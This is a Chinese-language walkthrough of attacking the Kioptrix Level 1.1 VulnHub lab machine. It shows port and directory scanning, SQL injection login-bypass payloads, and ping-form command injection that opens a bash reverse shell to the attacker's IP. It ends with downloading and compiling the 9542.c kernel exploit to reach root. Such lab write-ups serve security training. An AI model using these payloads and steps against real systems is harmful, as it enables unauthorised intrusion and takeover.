本文记录了Kioptrix Level 1.1靶机的完整详细渗透测试过程,包括信息收集、漏洞发现、获取shell以及提权至root的方法。
靶机下载链接:https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar 靶机名称:Kioptrix Level 1.1 测试时间:2026/3/18 如果遇到查找不到靶机的情况,参考这篇文章的开头部分: https://blog.csdn.net/uhszjhshdjsjsj/article/details/159168830?spm=1001.2014.3001.5501
一.概述
- 查询攻击机(kali)IP:
ifconfig

得到攻击机(kali)IP:192.168.253.166
- 查询靶机IP:
nmap -sn 192.168.253.00/24或netdiscover -r 192.168.253.00/24
得到靶机IP:192.168.253.169
二. 信息收集
- 1.扫描全部端口
nmap -A -p 1-64000 192.168.253.169

得到开放端口有 22: ssh服务,用于远程登录 80:网页默认的 HTTP 端口 111:远程调用另一台机器函数 443:HTTPS端口 631:打印系统,注意允许使用PUT方法(待会或许是个突破口) 3306:MYSQL
- 2.Web网页目录扫描:
dirb http://192.168.253.169 或者
dirsearch -u http://192.168.253.169 -x 404,403,400
发现有一个manual/index.html目录 这是Apache 自带的官方文档页面
- 3.web指纹识别
whatweb http://192.168.253.169

因为靶机古老所以运行着老版本服务器状态码 200 说明页面可正常访问
- 4.查看服务器响应头
curl -i http://192.168.253.169
看来页面是一个登录系统
- 5.打开网页收集信息
网址直接输入192.168.253.169即可访问
这是一个登录系统,看到这个就要先尝试弱密码和SQL注入
先用admin;123456这类的弱密码尝试一遍,发现失败了 再用sql注入尝试(想快速入门sql注入基础的可参考),这里提供两种输入(并不代表只有两种):
- 第一种:用万能密码输入用户名:’ or ‘a’=’a ;密码:' or '1'='1
- 第二种:用万能密码:' or 1=1– -(注意这里面第二个-和第三个-中间隔着一个空格而不是三个-连一起)输入任意一个框,另一个框随便输
均发现成功登录
这里我简单解释一下万能密码的SQL注入原理: 假设SQL代码是:
SELECT * FROM users
WHERE username = '$uname' AND password = '$psw';
当我们输入第一种这两个万能密码代码变成
SELECT * FROM users
WHERE username = '' or 'a'='a' AND password = '' or '1'='1';
因为AND优先级大于OR 所以代码即变成
(username='' or 'a'='a')
AND (password='' or '1'='1')
进而分成两个
username=('') or ('a'='a')
password=('') or ('1'='1')
因为or左边部分''闭合,右边部分'a'='a'和'1'='1'恒为真,所以构成万能密码 第二种输入' or 1=1– -代码变成
username='' or 1=1— -' AND password='123'
注意后半段的代码变成了灰色部分,这是因为– (–后面有空格)是注释符,会把后面的代码注释掉,类似于写代码时用#写注释,所以这里改成' or 1=1#也可以,注释后or后面的1=1恒真,所以也构成万能密码
进去后发现提示输入ping命令,看到这种带ping的输入框就要首先考虑命令注入和XSS,命令注入就是IP + 分隔符 + 命令,分隔符有许多种,常见的分隔符有;.&&. &.||. |.`.$()等等,有时候还需要用编码绕过过滤,所以我们一个一个尝试
- 输入127.0.0.1;id
看底下说明命令执行成功,那我们直接输入反弹shell命令: 127.0.0.1;bash -i >& /dev/tcp/192.168.253.166/1234 0>&1 
并且在终端监听
nc -lnvp 1234
成功监听
三. 漏洞发现与利用
Web漏洞
漏洞类型:SQL注入+ping命令注入漏洞
利用过程:1.发现网页需要输入用户名和密码尝试sql注入成功登录 2.发现需要输入ping命令,所以和其他命令结合输入成功得到反弹shell
四. 权限提升
- 升级得到一个交互更好的bash
python -c 'import pty; pty.spawn("/bin/bash")'
-
用id或whoami查看自己身份

-
查看内核版本
uname -a

- 同样查看版本
lsb_release -a
版本很低我们直接进行内核提权,新建一个终端搜索提权漏洞
searchsploit centos 4.5
根据刚才查到的版本号搜索 
我们看到第二个漏洞9542.c也符合我们的linux内核版本
- 下载文件到kali
searchsploit -m 9542.c
下载成功
- 共享目录文件
python3 -m http.server

- 回到靶机下载文件
wget http://192.168.253.166:8000/9542.c
但是结果显示我们没有写权限,我们输入cd /tmp进入到/tmp目录,因为这个目录有写权限,然后再进行下载
wget http://192.168.253.166:8000/9542.c
这回下载成功
- 编译文件,-o 9542 表示指定编译输出的可执行文件名为 9542,之后可以通过 ./9542 命令运行它
gcc -o 9542 9542.c
- 执行文件
./9542
输入id发现已经得到root权限
五.总结与反思
本次测试主要难点:
Web 入口突破:面对一个登录页面,没有现成的密码。需要灵活运用 SQL 注入技巧(万能密码)来绕过认证。
命令注入的探测与利用:在获得后台的 ping 命令执行框后,如何找到正确的命令分隔符(;)并成功执行自定义命令,同时要避免被可能的输入过滤机制拦截。
学到的技巧:
SQL 注入实战:通过万能密码 ’ or 1=1– 成功登录,加深了对 SQL 查询结构、单引号闭合、注释符 (– ) 以及 AND/OR 优先级的理解。
命令注入:掌握了在 Web 表单中通过命令分隔符拼接恶意系统命令的方法,并成功获得初始 shell。
该靶机漏洞出现在80端口(通过sql注入成功登录系统,利用了命令注入获取反弹shell) 提权是通过内核旧版本漏洞提权成功






